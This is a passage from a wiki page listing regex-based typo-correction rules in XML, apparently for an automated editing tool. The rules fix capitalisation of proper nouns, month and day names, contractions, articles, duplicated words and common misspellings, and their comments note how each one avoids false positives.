<Typo word="Valois" find="\bvalois\b(?![^\s\.]*\.\w)" replace="Valois"/>
<Typo word="Victorian" find="\bvictorian([as])?\b(?<!\b\p{Lu}\.\s+victoriana)(?!'')(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Victorian$1"/><!--avoid species-->
<Typo word="Windsor" find="\bwindsor(s)?\b(?![^\s\.]*\.\w)" replace="Windsor$1"/>
</source>
====Calendrical proper nouns====
<source lang="xml">
<!--Month name errors-->
<Typo word="(Jan/Febr)uary" find="\b(Febr|Jan)(?:aur|ura?)[iy]\b" replace="$1uary"/>
<Typo word="January" find="\b(?:J(?:a(?:nur|un)|ua?nu)|j(?:a(?:nur?|un)|ua?nu))ar(ies|y)\b" replace="Januar$1"/>
<Typo word="February (1)" find="\b[fF]eb(?:erua|r(?:a(?:ua)?|u(?:e|r[ae])|ya)|ur?[ae])r(ies|y)\b" replace="Februar$1"/>
<Typo word="February (2)" find="\b[fF]eb(?:erua|r(?:a(?:ua)?|u(?:ar|e|r[ae])|ya)|ur?[ae])ri\b" replace="February"/>
<Typo word="February (3)" find="\b(?:fe|F(?:er|re))br?uar[iy](s)?\b(?!\s&\sheavenly)(?<!Tommy\sfebruary)" replace="February$1"/>
<Typo disabled="March" find="\b([0-3]?\d)\s+march\b" replace="$1 March"/><!--part replaced by new rule, partly false positive 'a 2/4 march written'[[Clan little]] -->
<Typo word="April" find="\b(?:Ap(?:ir|r(?:ia)?|ti)|ap(?:ir|r(?:ia?)?|ti))l(s)?\b" replace="April$1"/>
<Typo disabled="May" find="\bmay\s+(\d{1,4})\b" replace="May $1"/><!--replaced by new rule-->
<Typo word="Ma(rch/y)" find="\bma(rch|y)\s(\d{4}\D|[1-3]\d?(?:,\s\d{4}\D|\s\d{4}\D|[nr]d\D|st\D|th\D))" replace="Ma$1 $2"/>
<Typo word="June/July" find="\bju(lys?|nes?)\b" replace="Ju$1"/>
<Typo word="August (1)" find="\b([1-3]\d?|[4-9])\s+(?:aug(?:as?|[eu]s)|Aug(?:as?|es))t\b" replace="$1 August"/>
<Typo word="August (2)" find="\b(?:aug(?:as?|[eu]s)|Aug(?:as?|es))t\s(\d{4}\D|(?:[4-9]|[12]\d?|3[01]?)(?:,\s\d{4}\D|\s\d{4}\D|[nr]d\D|st\D|th\D))" replace="August $1"/>
<Typo word="August (3)" find="\b([aA])ugu(?:as?|es)t\b" replace="$1ugust"/>
<Typo word="September" find="\b(?:se(?:mp?temb|pte(?:m(?:eb|[pb])|nb|rmb)?)|Se(?:mp?temb|pte(?:m(?:eb|p)|nb|rmb)?))er(s)?\b" replace="September$1"/>
<Typo word="October" find="\b(?:octo(?:b|rb|v)|Octo(?:rb|v))er(s)?\b" replace="October$1"/>
<Typo word="November" find="\b(?:N(?:ov(?:e(?:me|n|rm)|me)|o[bc]em)|n(?:ov(?:e(?:me?|n|rm)|me)|o[bc]em))ber(s)?\b" replace="November$1"/>
<Typo word="December" find="\b(?:D(?:e(?:bem|c(?:e(?:mem?|n|rm)|me)|[sv]em)|isem)|d(?:e(?:bem|c(?:e(?:me?m?|n|rm)|me)|[sv]em)|isem))ber(s)?\b" replace="December$1"/>
<!--Day name errors-->
<Typo word="Sunday" find="\bsunday(s)?\b" replace="Sunday$1"/>
<Typo word="Monday" find="\bmonday(s)?\b" replace="Monday$1"/>
<Typo word="Tuesday" find="\b[tT]eusday(s)?\b" replace="Tuesday$1"/>
<Typo word="T(ue/hur)sday" find="\bt(hur|ue)sday(s)?\b" replace="T$1sday$2"/>
<Typo word="Wednesday" find="\b(?:We(?:d(?:esd|nessd)|nd?e?sd?)|we(?:d(?:esd|ness?d)|nd?e?sd?))ay(s)?\b" replace="Wednesday$1"/>
<Typo word="Thursday" find="\b[tT]hrusday(s)?\b" replace="Thursday$1"/>
<Typo word="Friday" find="\bfriday(s)?\b" replace="Friday$1"/>
<Typo word="Saturday" find="\b[sS]at[eu]*rday(s)?\b" replace="Saturday$1"/>
<!--Special days-->
<Typo word="Michaelmas" find="\bmich[ae]*lmas+\b" replace="Michaelmas"/>
<Typo word="Easter" find="\beaster(?!\s+egg)(?<![nN]or[´ˈ׳᾿‘’′Ꞌꞌ`']easter)\b" replace="Easter"/>
</source>
====Miscellaneous proper nouns====
<source lang="xml">
<Typo word="Anglican" find="\banglican(ism|s?)\b(?![^\s\.]*\.\w)" replace="Anglican$1"/>
<Typo word="Baptist_" find="\bbaptist(\s+(?:Church|c(?:hurch|ollege)|minister|preacher|school|university)s?|(?<=John\s{1,9}[tT]he\s{1,9}baptist))\b(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Baptist$1"/><!--avoid FPs via look around for key terms-->
<Typo word="Calvinism (1)" find="\b[cC]alvanis(m|ts?)\b" replace="Calvinis$1"/>
<Typo word="Calvinism (2)" find="\bcalvinis([mt][a-z]*)\b(?![^\s\.]*\.\w)" replace="Calvinis$1"/>
<Typo word="Christ(mas/ian_/endom/)" find="(?!\bCristian\b)\b(?:christ|[cC](?:hirst|hris(?=\w)|hrsit|rist))(ian(?:dom|ity|i[sz](?:ation|e[ds]?|ing)|sted)|endom|mas(?:days?|es|sy|ti[dm]es?|y?))\b(?![^\s\.]*\.\w)" replace="Christ$1"/>
<Typo word="Francisco" find="\b[fF]ran(?:cics|si(?:cs|sc))(ans?|o)\b(?![^\s\.]*\.\w)" replace="Francisc$1"/>
<!--word="Internet" find="\binternet\b(?![^\s\.]*\.\w)" replace="Internet"/> see talk page-->
<Typo word="Lutheran" find="\b[lL]ut(?:er(?:a|ia)|heria)n(ism|s?)\b(?![^\s\.]*\.\w)" replace="Lutheran$1"/>
<Typo word="Methodist" find="\bmethodis(m|t(?:ic|s?))\b(?![^\s\.]*\.\w)" replace="Methodis$1"/>
<Typo word="Mormon" find="\bmormon(ism|s?)\b(?![^\s\.]*\.\w)" replace="Mormon$1"/>
<Typo word="Muhammad etc." find="\bm(oham+[ae][dt](?:ans?)?|uham+[ae][dt](?:ans?)?)\b(?![^\s\.]*\.\w)" replace="M$1"/>
<Typo word="Muslim/Moslem" find="\bm(osle|usli)m(s)?\b(?![^\s\.]*\.\w)" replace="M$1m$2"/>
<Typo word="Pentecost" find="\b(?:p(?:ent[ea])|Penta)cost(al(?:ism|s?)|s?)\b(?![^\s\.]*\.\w)" replace="Pentecost$1"/>
<Typo word="SpongeBob" find="\b[sS]ponge(?:-[bB]|b|\sB)ob\b(?![^\s\.]*\.\w)" replace="SpongeBob"/>
<Typo word="SquarePants" find="\b[sS]quare(?:-[pP]|p|\sP)ants\b(?![^\s\.]*\.\w)" replace="SquarePants"/>
<Typo word="TV_" find="\b[tT]v\b(?<!WE\stv)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="TV"/><!--avoid WE tv-->
</source>
===Grammar===
====Articles====
<source lang="xml">
<Typo word="A …" find="\b(?<![´ˈ׳᾿‘’′Ꞌꞌ`'])([aA])n\s+([eE]u[A-Za-z]+|Ukrain[aeins]+|[uU](n(?:anim[a-z]+|i(?:form|later[a-z]+|on|que[a-z]*|t(?:ed|y?)|vers[a-z]+))|ra[a-z]+|s(?:e(?:ful|r)|ual)|til[a-z]+)(?:ly)?)(?<!Euler[a-z]{0,99})\b" replace="$1 $2"/><!--avoid Xi'an-->
<Typo word="A h-" find="\b(?<![´ˈ׳᾿‘’′Ꞌꞌ`'])([aA])n\s+(?<!(?:\]\]|⌊)an\s)h(a(?:lf|[nr]dy?|t)|[io]t|e(?:a(?:d|vy)|lp)[a-z]*|igh[a-z]*|o(?:ax|mo?e[a-z]*|use)|u(?:ge|man))\b(?<!\]an\b)" replace="$1 h$2"/><!--avoid [[!Europe!]]an higher..., Xi'a high etc.-->
<Typo word="An h-" find="\b([aA])\s+h(eir(?:ess|loom)?|our(?:ly)?|on(?:est|ou?r(?:a(?:bl[ey]|ry))?))\b" replace="$1n h$2"/>
<Typo word="An 8th/11th/18th" find="\b(?<![´ˈ׳᾿’′Ꞌꞌ`'\-\—])([aA])\s+(8|1[18])th([-\s])" replace="$1n $2th$3"/>
</source>
====Contractions====
<source lang="xml">
<Typo word="(C/Sh/W)ouldn't" find="\b([cwCW]|[sS]h)ou(dln[´ˈ׳᾿‘’′Ꞌꞌ`;']?|ldn[´ˈ׳᾿‘’′Ꞌꞌ`;]?t)t\b" replace="$1ouldn't"/>
<Typo word="(H/Sh/W)e'(d/ll/s)" find="\b([hwHW]|[sS][hw])e[´ˈ׳᾿‘’′Ꞌꞌ`;]([ds]|ll)\b" replace="$1e'$2"/>
<Typo word="(T/W)Here'(d/ll/s/ve)" find="\b([hH]|[twTW]h)ere[´ˈ׳᾿‘’′Ꞌꞌ`;]([ds]|ll|ve)\b" replace="$1ere'$2"/>
<Typo word="I(t)'(d/m/s/ll)" find="\b([iI]t?)[´ˈ׳᾿‘’′Ꞌꞌ`;]([dms]|ll)\b" replace="$1'$2"/>
<Typo word="Its (after)" find="(?=it)(?<=\b(?:[aA](?:bove|[lm]ong(?:st)?|r(?:e|ound)|t)|[bB](?:e(?:low|tween|yond)?|oth|y)|[cC]elebrat(?:e[ds]?|ing)|[dD]uring|[fF]rom|[hH][eo]ld|[iI]n(?:to)?|[kK]eep|[mM]ade|[oO](?:f|n(?:to)?|ver)|[tT](?:hrough(?:out)?|o)|[uU](?:nder(?:neath)?|p(?:on)?)|[wW]ith(?:in|out)?)\s+)it[´ˈ׳᾿‘’′Ꞌꞌ`;']s\b" replace="its"/><!--cheapened expensive beginning-->
<Typo word="Its (before)" find="\b([iI])t[´ˈ׳᾿‘’′Ꞌꞌ`;']s\s+(apex|causes?|do(?:ors|wnfall)|founders?|inceptions?|o(?:rigins?|wn)|p(?:innacle|olicies)|reasons?|zenith)\b" replace="$1ts $2"/>
<Typo word="-en't" find="\b([aA]r|[hH]av|[wW]er)n[´ˈ׳᾿‘’′Ꞌꞌ`;]t\b" replace="$1en't"/>
<Typo word="-n't (2)" find="\b(are|[cC]ould|[dD](?:id|oes)|[hH]a([ds]|ve)|[sS]hould|[wW](?:as|ere|ould))nt\b" replace="$1n't"/><!--avoid Arent, cant, wont, "Don't" (rule exists)-->
<Typo word="-n't (1)" find="\b(are|[cC](?:a|ould)|[dD](?:id|o(?:es)?)|[hH]a(?:[ds]|ve)|[sS]hould|[wW](?:as|ere|o(?:uld)?))(?:[´ˈ׳᾿‘’′Ꞌꞌ`;']n|n[´ˈ׳᾿‘’′Ꞌꞌ`;])t\b" replace="$1n't"/>
<Typo word="there's" find="\bthere[´ˈ׳᾿‘’′Ꞌꞌ`;]?s\b" replace="there's"/><!--avoid place name Theres-->
<Typo word="They'll" find="\b([tT])(?:ehy|hey|yhe)(?:ll|[´ˈ׳᾿‘’′Ꞌꞌ`;]l+)\b" replace="$1hey'll"/>
<Typo word="They'(r/v)e" find="\b([tT])hey[´ˈ׳᾿‘’′Ꞌꞌ`;]?([rv])e?\b" replace="$1hey'$2e"/>
<Typo word="Weren't" find="\b([wW])er[en][´ˈ׳᾿‘’′Ꞌꞌ`;']?n?t\b" replace="$1eren't"/>
<Typo word="Wh(at/en/o/y)'(d/ll/re/s/ve)" find="\b([wW])h(at|en|[oy])[´ˈ׳᾿‘’′Ꞌꞌ`;]([ds]|ll|[rv]e)\b" replace="$1h$2'$3"/>
<Typo word="Y'all" find="\b([yY])a[´ˈ׳᾿‘’′Ꞌꞌ`;']ll\b" replace="$1'all"/>
</source>
====Joined words====
<source lang="xml">
<Typo word="(Left/Right) field" find="\b(left|[rR]ight)f(?:ei|ie)ld(ers?)?\b" replace="$1 field$2"/>
<Typo word="More/Less/etc. than_" find="(?=then)(?<=\b(?:[bB](?:etter|igger|raver)|[gG]reater|[hH]igher|[mM]ore|[lL](?:arger|ess|o(?:nger|wer))|lesser|[oO]lder|[rR]ather|[sS](?:horter|ma(?:ller|rter))|[tT](?:aller|hi(?:cker|nner))|[wW]orse|[yY]ounger)\s+)then\s+(?!than\b)" replace="than "/><!--avoid ends of sentences, e.g., "Life was better then."; too many false positives for "other then"; cheapened expensive beginning-->
<Typo word="A unique" find="\b([aA])n\s+unique(ly)?" replace="$1 unique$2"/>
<Typo word="As well" find="\baswell\b" replace="as well"/>
<Typo word="At least" find="\b([aA])tleast\b" replace="$1t least"/>
<Typo word="Close by" find="\b([cC])lose-?by\b" replace="$1lose by"/>
<Typo word="In (fact/the/some/many/any/spite/particular/between)" find="\b([iI])n(any|between|fact|many|particular|s(?:ome|pite)|them?)\b" replace="$1n $2"/>
<Typo word="(Crime/Drug) lord" find="\b([cC]rime|[dD]rug)-?lord(s)?\b" replace="$1 lord$2"/>
<Typo word="Other hand" find="\b([oO])therhand\b" replace="$1ther hand"/>
<Typo word="Super Bowl" find="\b[sS]uper-?[bB]owl(s)?\b" replace="Super Bowl$1"/>
</source>
====Duplicated words====
<source lang="xml">
<Typo word="it is" find="\b([iI])t\s+it\b" replace="$1t is"/>
<Typo word="Duplicated words" find="\b(a(?:[ms]?|nd?|re)|b(?:e(?:come)?|y)|could|d(?:id|o)|for|go|h(?:a(?:s|ve)|e|im|ow)|i[fst]s?|m(?:ade|e|ore)|no|o(?:[fr]|ther)|sh(?:e|ould)|t(?:h(?:e(?:ir|[mny]?|se)|[iu]s)|o)|w(?:as|ere|h(?:at|e(?:n|re)|i(?:ch|le)|om?|y)ith|ould)|is a)\s{1,5}\1\b" replace="$1"/><!--avoid "in", per talk in Archive 3-->
</source>
====Preposition usage====
<source lang="xml">
<Typo word="Comprises" find="\b([cC])omprises of\b" replace="$1omprises"/>
</source>
====Punctuation====
<source lang="xml">
<Typo word="'s" find="(?<=\w)[´ˈ׳᾿‘’′Ꞌꞌ`;]s\b(?<!'\w[´ˈ׳᾿‘’′Ꞌꞌ`;]s|&[#\w]{1,99};s)" replace="'s"/><!--semicolon or apostrophe-like symbols for apostrophe; ignore potential wiki markup, and "&xxx;" (HTML entities)-->
<Typo word="Hers/Ours/Theirs/Yours" find="\b([hH]e|[oO]u|[tT]hei|[yY]ou)r[´ˈ׳᾿‘’′Ꞌꞌ`;']s\b" replace="$1rs"/>
<Typo word="e.g." find="\b([eE]\.g)([,\s])" replace="$1.$2"/>
<Typo word="e.g." find="\b([eE])(?:g\.?|\.\s*g)([\s,:;-]|'')(?!River|veit|White)" replace="$1.g.$2"/>
</source>
====Other====
<source lang="xml">
<Typo word="A ... church" find="\b([aA]n?)\s+(Anglican|Baptist|C(?:atholic|hristian)|catholic|Lutheran|M(?:ethodist|ormon)|Protestant|Roman\s+[cC]atholic)\s+Church\b" replace="$1 $2 church"/>
<Typo word="who has been" find="\bwhose\s+been\b" replace="who has been"/>
</source>
===Bands and other proper names===
<source lang="xml">
<Typo word="AC/DC" find="\b[aA][cC]-[dD][cC]\b" replace="AC/DC"/>
<Typo word="Metallica" find="\b[mM]et+al+ica\b" replace="Metallica"/>
<Typo word="Mötley Crüe" find="\b[mM]otley\s+[cC]rue\b" replace="Mötley Crüe"/>
<Typo word="Molière" find="\b[mM]oliere\b" replace="Molière"/>
<Typo word="Muhammad Ali" find="\bMuhamm[ei]d Ali\b" replace="Muhammad Ali"/>
<Typo word="Warren Buffett" find="\bWarr?en (E\. )?Buf(?:et|fe)t\b" replace="Warren $1Buffett"/>
</source>
===General rules===
These have to come last, so that special cases (which these might transform into an unanticipated error) get treated first.
<source lang="xml">
<Typo DISABLED="Triple letters" find="(?!\b(?:Eisschnelllauf|[gG]rrrl?|Killlai|[oO]ooh|Pyarrrl?|[rR]sssf|[A-Za-z]+([a-z])\1\1\1[a-z]*|[a-fw]+)\b)\b([A-Z][a-z]*|[a-z]+)([a-gj-wyz])\3\3([a-z]+)\b" replace="$2$3$3$4"/><!--Replace triple letters within a word (except h, x, i) with double letters; don't match some exceptions, quadruple letters, hexadecimal colours like #ccc, Roman numerals iii, web www.-->
</source>
====Beginnings====
<source lang="xml">
<Typo word="Ac-" find="\b([aA])cc+(hiev|oustic|r(?:imon[iy]|onym)|t(?:iv[aei]|ual)|u(?:punctur|te))([a-z]*)\b" replace="$1c$2$3"/>
<Typo word="Acc-" find="\b([aA]|[iuIU]na)c(?:cc+)?(e(?:pt[a-z]*|ss[a-z]*)|ident[a-z]*|omp(?:an(?:ie[ds]|y)|lish[a-z]*)|o(?:rd[a-z]+|unt[a-z]*)|ura[ct][a-z]+)\b" replace="$1cc$2"/>
<Typo word="(Re)Acqu-" find="\b([aA]|[rR]ea)(?:cc+|d?)qu(aint[a-z]*|ir[ei][a-z]*|isiti(?:ons?|ve)|it(?:s?|t(?:als?|ed|ing)))\b(?<!Aquiris)" replace="$1cqu$2"/><!--but not Aquiris-->
<Typo word="Add-" find="\b([aA]|[nN]ona)d(?:dd+)?(ic?ti[ov][a-z]*|ress[a-z]*)\b" replace="$1dd$2"/>
<Typo word="Aff-" find="\b([aA])f(?:ff)?((?:e|li)ct(?:ed|i(?:ng|on))?s?|iliat[ei][a-z]*|init(?:ies|y)|irmati[a-z]+|luen(?:ce|t(?:ly)?))\b" replace="$1ff$2"/>
<Typo word="After-" find="\b([aA])f(?:e[rt]|te)(maths?|noons?|wards?)\b" replace="$1fter$2"/>
<Typo word="Al-" find="\b([aA])ll+(beit|most|ong|ready|t(?:hough|ogether)|(?<!All)ways)\b" replace="$1l$2"/><!--avoid Allways-->
<Typo word="Alle-" find="\b([aA])le(g(?:e(?:d(?:ly)?|s?)|i(?:ances?|ng)|or(?:i[a-z]*|y))|viat(?:e[ds]?|i(?:ng|on)|or))\b" replace="$1lle$2"/>
<Typo word="Allo-" find="\b([aA])lo(c[au]t|morph|p(?:ath|hon)|trop|w)(a(?:bl[ey]|nces?)|[ds]?|e[ds]?|i(?:cs?|es|ng|on)|ments?|y)\b" replace="$1llo$2$3"/>
<Typo word="Allu-" find="\b([aA])lu([dr](?:e[ds]?|ing(?:ly)?|ments?)|s(?:i(?:ons?|ve(?:ly)?)|ory))\b(?<!Alured)" replace="$1llu$2"/>
<Typo word="Am-" find="\b([aA]|[uU]na)mm+(ass[a-z]*|en(?:d[a-z]*|it[a-z]*)|ong(?:st)?|ount[a-z]*|us(?:e(?:[ds]?|ments?)|ing))\b(?<!Ammendola|[dD]'[aA]mmassa)" replace="$1m$2"/><!--avoid [dD]'[aA]mmassa, Ammendola-->
<Typo word="Amphi-" find="\b([aA])mp(?:h|ih?)(bi(?:ans?|ous(?:ly)?)|theat(?:ers?|res?))\b" replace="$1mphi$2"/>
<Typo word="Ann-" find="\b([aA])n(i(?:hilat[a-z]+|versar[a-z]+)|ounc[ei][a-z]*|u(?:al(?:ly|s?)|l(?:ar|l(?:ed|ing)|s?)))\b(?<!\b[aA]niversario)" replace="$1nn$2"/>
<Typo word="Ap-" find="\b([aA])pp+(art(?:ments?)?|titudes?)\b" replace="$1p$2"/>
<Typo word="App-" find="\b([aA]|[dmDM]isa)p(all(?:ed|ing[a-z]*|s?)|are(?:l|nt(?:ly)?)|aritions?|e(?:a[lr][a-z]*|llat[a-z]+|nd[a-z]*)|l(?:i[ace][adns][a-z]*|y)|oint(?:ed|ing|ments?|s?)|r(?:ehen[ds][a-z]*|oach[a-z]*)|rov(?:als?|e[ds]?|ing[a-z]*))\b(?<![aA]plicada)" replace="$1pp$2"/><!--avoid French word (A/a)plicada/>-->
<Typo word="Aqua-" find="\b([aA])cqua(ri(?:an?s?|um?s?)|tics?)\b" replace="$1qua$2"/>
<Typo word="Arr-" find="\b([aA]|[rR]ea)r(ang(?:e(?:[drs]?|ments?)|ing)|iv(?:als?|e[ds]?|ing))\b" replace="$1rr$2"/>
<Typo word="Att-" find="(?!\bAtack\b)\b([aA]|[uU]na)t(a(?:ck(?:e[dr]s?|ings?|s?)|in(?:able|ed|ing|ment)?s?)|orneys?|r(?:ac|ibu)t(?:ed?|i(?:ng|on|ve)|or)?s?)\b" replace="$1tt$2"/><!--avoid surname Atack-->
<Typo word="Ball-" find="\b([bB])al(istic(?:ally|ian|s?)|oon(?!\s+Yoka)(?:ed|i(?:ng|st)|s?))\b" replace="$1all$2"/>
<Typo word="Biblio-" find="\b([bB])ibi?l[io](graph[a-z]+|th?eques?)\b" replace="$1iblio$2"/>
<Typo word="Canoni-" find="\b([cC])annoni(cal(?:ly|s?)|sts?|z(?:ations?|e[ds]?|ing))\b" replace="$1anoni$2"/>
<Typo word="Chair-" find="\b([cC])hari(lifts?|m[ae]n(?:ships?)?|persons?|wom[ae]n(?:ships?)?)\b" replace="$1hair$2"/>
<Typo word="(Dis)Colour-" find="\b([cC]|[dD]isc)olou(?:[a-ln-qs-y][a-z]*)\b" replace="$1olour$2"/><!--avoid Coloumb & Colouz Uv Sound-->
<Typo word="Corr-" find="\b([cC])or(e(?:ct[a-z]*|spond[a-z]*)|osi(?:ons?|ve[a-z]*))\b" replace="$1orr$2"/>
<Typo word="Diphth-" find="\b([dD])ip(?:ht|th)(eria|ongs?)\b" replace="$1iphth$2"/>
<Typo word="(In)Def-" find="\b([dD]|[iI]nd)eff(en(?:c[ei][a-z]*|d[a-z]*|s[ei][a-z]*)|ici(?:en[a-z]+|t[a-z]+)|init[ei][a-z]*)\b" replace="$1ef$2"/>
<Typo word="Desp-" find="\b([dD])isp(air[a-z]*|i(?:cabl[ey]|s(?:eds?|ing)|te)|onden[a-z]+)\b" replace="$1esp$2"/>
<Typo word="Dis-" find="\b([dD])(?:e|is)s(a(?:gree[a-z]*|ppear[a-z]*|rray[a-z]*)|ease[a-z]*|integrat[a-z]+|miss[a-z]*|o(?:bedien[a-z]+|r(?:der[a-z]*|ien[a-z]+)))\b" replace="$1is$2"/>
<Typo word="Diss-" find="\b([dD])is(atisf[a-z]+|olution[a-z]*|olv(?:e[ds]?|ing)|uad[ei][a-z]*)\b" replace="$1iss$2"/>
<Typo word="Disse-" find="\b([dD])ise(ct|m(?:bl|inat)|n(?:sion|t)|r(?:t(?:at)?|v(?:ic)?)|ver)([ds]?|e(?:[ds]?|rs?)|i(?:ng|ons?)|ors?)\b" replace="$1isse$2$3"/>
<Typo word="Dissi-" find="\b([dD])isi([abe-ko-ru-z]|m[a-nq-z]|s[a-km-z]|t[a-gi-z])([a-z]+)\b" replace="$1issi$2$3"/>
<!--avoid disidentification, disillusion, Disimone, disimprove, disimpaction, Disini, disinfect, disinter, Disislava, Disith, etc.-->
<Typo word="Down-" find="\b([dD])ow(falls?|load[a-z]*|st(?:airs?|ream)|town|wards?)\b" replace="$1own$2"/>
<Typo word="Eff-" find="\b([eE]|[iI]ne)f(ect[a-z]*|icien[a-z]*|ort(?:less[a-z]*|s?))\b" replace="$1ff$2"/>
<Typo word="Emi-" find="\b([eE]|[pP]ree)mmi(grat[a-z]+|nen[ct][a-z]*|ssar[iy][a-z]*)\b" replace="$1mi$2"/>
<Typo word="Emb-" find="\b([eE])nb([a-z]+)\b(?<!\bEnb(?:a(?:[ns]|qom|rr?)|e(?:kshi[a-z]{0,99}|rgs?|tsu)?|i(?:lulu|se)|lend|o(?:m|rne|th)|r(?:el|idge)|u(?:kan|lufushi|n))\b)(?<!Bir Enba)" replace="$1mb$2"/>
<!--avoid Enbergs?, Enban, Enbaqom, Enbar(r), Enbas, Enbee, Enbekshi..., Enbetsu, Enbilulu, Enbise, Enblend, Enbom, Enboth, Enbrel, Enbridge, Enbukan, Enbulufushi, Enbun, Bir Enba-->
<Typo word="Emm-" find="\b([eE])nm([a-z]+)\b(?<!\bEnm(?:a|ei)|enm(?:a(?:scarados?|tter[a-z]*)|esh[a-z]*|áscarados?|it(?:ies|y))|Enm(?:a(?:rk\b|kaje|nn?(?:sche)?|[ox]|s(?:carados?|s)|tter[a-z]*)|esh[a-z]*|áscarados?|it(?:ies|y)|ore|und))" replace="$1mm$2"/>
<!--avoid Enma, Enmakaje, Enman, Enmann(sche), Enmass, Enmore, enmesh, enmatter, enmity, Enmax, Enmund, enmáscarado, Enmao-->
<Typo disabled="Emp-" find="\b([eE])n(p[a-z]+)\b(?<!\b[eE]np(?:hytot[a-z]+|i(?:ng)?|lan[a-z]+|ower|rostil|uku)\b)" replace="$1m$2"/>
<!--avoid enphytotic, enplane, enpi, Enping, Enpower, Enprostil, Enpuku-->
<Typo word="Err-" find="\b([eE])r(a(?:nds?|tic(?:ally)?)|o(?:neous(?:ly)?|rs?))\b" replace="$1rr$2"/>
<Typo word="Exc-" find="\b([eE])xe(ed[a-z]*|r?pt(?:ed|i(?:ng|onal(?:ly)?|s?))|lle(?:d|n[ct][a-z]*)|ssive[elnsy]*)\b" replace="$1xce$2"/>
<Typo word="(Un)Fore-" find="\b([fF]|[uU]nf)or(bod(?:es?|ing(?:ly)?)|brains?|c(?:astles?|ourts?|los(?:es?|ing(?:ly)?)|ast(?:ers?|ing|s?))|d(?:ecks?|oom(?:ers?|ing|s?))|f(?:aces?|eet|ingers?|oot|ronts?)|grounds?|h(?:ands?|eads?)|l(?:egs?|ocks?)|m(?:asts?|ost)|n(?:ames?|oons?)|paws?|quarters?|runners?|s(?:a(?:ils?|w)|ee(?:able|ing|[ns]?|rs?)|ta(?:ll(?:ers?|ing|s?)|ys?))|t(?:astes?|ell(?:ers?|ing|s?)|old)|w(?:arn(?:ers?|ing|s?)|ords?))\b(?<!\bFors(?:ee\b|tall\b))" replace="$1ore$2"/><!--avoid Forsee, Forstall; common names-->
<Typo word="Giu-" find="\b[gG]ui(li(?:a(?:ni)?|o)|seppe)\b" replace="Giu$1"/>
<Typo word="Ill-" find="\b([iI])l(egal[a-z]*\b(?<!\bEl Ilegal)|ness[a-z]*|ogical(?:ly)?|uminat(?:e[ds]?|i(?:ng|on))|us(?:i(?:ons?|ve(?:ly)?)|ory))\b" replace="$1ll$2"/><!--allow El Ilegal-->
<!--avoid inboard, inborn, inbound, inbreathe, inbreed, inbuilt-->
<Typo word="Imb-" find="\b([iI])nb(alanc[ei][a-z]*|e(?:cil[ei][a-z]*|d[a-z]*)|ib[ei][a-z]*|ue[a-z]*)\b" replace="$1mb$2"/>
<Typo word="Imm-" find="\b([iI])n?m(atur[ei][a-z]*|e(?:diate[a-z]*|nse[a-z]*)|inen[ct][a-z]*|un(?:e[a-z]*|[io][a-z]+))\b" replace="$1mm$2"/>
<Typo word="Imp-" find="\b([iI])np(artial[a-z]*|e(?:netrab[a-z]+|rsonat[a-z]+)|o(?:rtan[a-z]+|ssib[a-z]+)|rov[ei][a-z]+)" replace="$1mp$2"/>
<!--avoid inpatient, inphase, input, inmate, inmost, inmigrante-->
<Typo DISABLED="Imp-/Imm-" find="(?!\b[iI]nmigrante\b)\b([iI])n(m[b-np-z]|p[b-gi-tv-z])([a-z]+)\b" replace="$1m$2$3"/>
<Typo word="In-" find="\bEn(duc|flam)(e(?:[ds]?|ments?)|ing|tive(?:ly)?)\b" replace="In$1$2"/><!--avoid "Enduction"-->
<Typo word="in- (1)" find="\ben(duc|flam)(e(?:[ds]?|ments?)|ing|ti(?:ons?|ve(?:ly)?))\b" replace="in$1$2"/>
<Typo word="In- (2)" find="\bUn(ability|efficien(?:cy|t(?:ly)?)|sufficien(?:cy|t(?:ly)?)|effect([a-z]+)|equalit(?:ies|y))\b" replace="In$1"/>
<Typo word="in- (3)" find="\bun(ability|efficien(?:cy|t(?:ly)?)|sufficien(?:cy|t(?:ly)?)|effect([a-z]+)|equalit(?:ies|y))\b" replace="in$1"/>
<Typo word="Inco(m/n)-" find="\b([iI])mco(m[beimp]|n[cdfgstv])" replace="$1nco$2"/>
<Typo word="Inn-" find="\b([iI])n(?:nn)?(ate(?:ly)?|oc(?:ent[a-z]*|uous[a-z]*)|ovat[ei][a-z]*|uendo(?:es)?|umer[ao][a-z]+)\b(?<!Inumerable)" replace="$1nn$2"/><!--avoid surname Inumerable-->
<Typo word="(Mis/Re/Un)Inter-" find="\b([iI]|[mM]isi|[rR]ei|[uU]ni)nte(fer[a-z]+|pret[a-z]*|relat(?:e[ds]?|ions?)|rupt[a-z]*|v(?:en[eit][a-z]*|iew[a-z]*))\b" replace="$1nter$2"/>
<Typo word="Irr-" find="\b([iI])r(?:rr)?(ation[a-z]*|e(?:levant|placeable|sistibl[ey])|i[gt]at[ei][a-z]*)\b" replace="$1rr$2"/>
<Typo word="(Uno/O)ff-" find="\b([uU]no|[oO](?!f(?:er\b|icial\b)))f(?:ff)?(er(?:ed|ings?)|ice(?:holders?|rs?|s?)|icia(l(?:dom|ism|ly|s?)|t(?:e[ds]?|ing)))\b" replace="$1ff$2"/><!--avoid (O/o)fer, (O/o)ficial-->
<Typo word="Op" find="\b([oO])pp+(en(?:ed|ings?|ly|ness|s?)|erat[a-z]+|inion[a-z]*)\b(?<!\bOppens?)" replace="$1p$2"/><!--avoid surnames Oppen, Oppens-->
<Typo word="Opp-" find="\b([oO])p(o(?:nents?|rtun[a-z]+|s(?:e[ds]?|i[a-z]+))|ress[a-z]*)\b" replace="$1pp$2"/>
<Typo word="Per-" find="\b([pP]|[rR]ep)re(cussi(?:ons?|ve[a-z]*)|haps|missi(?:ons?|ve)|s(?:onal[a-z]*|pectives?)|vers(?:e(?:ly)?|ions?))\b" replace="$1er$2"/>
<Typo DISABLED="Pre-" find="\b([pP])er?(rogative[ds]?|scri(?:b(?:er?[ds]?|ing)|pti[a-z]+)|siden[ct][a-z]*)\b" replace="$1re$2"/><!--ran slowly, modified since-->
<Typo word="Pro-" find="\b([pP])or(b(?:abi?l|lem)|cess|duc|fess|gress|vi[ds])([a-z]*)\b" replace="$1ro$2$3"/>
<Typo word="Pseudo-" find="\b([pP])suedo([a-z]*)\b" replace="$1seudo$2"/>
<Typo word="Quatern-" find="\b([qQ])uartern([ai][a-z]+)\b" replace="$1uatern$2"/>
<Typo word="Ree-" find="\b([rR])e(lect(?:ed|s?)|nact[a-z]*|stablish[a-z]*)\b" replace="$1ee$2"/>
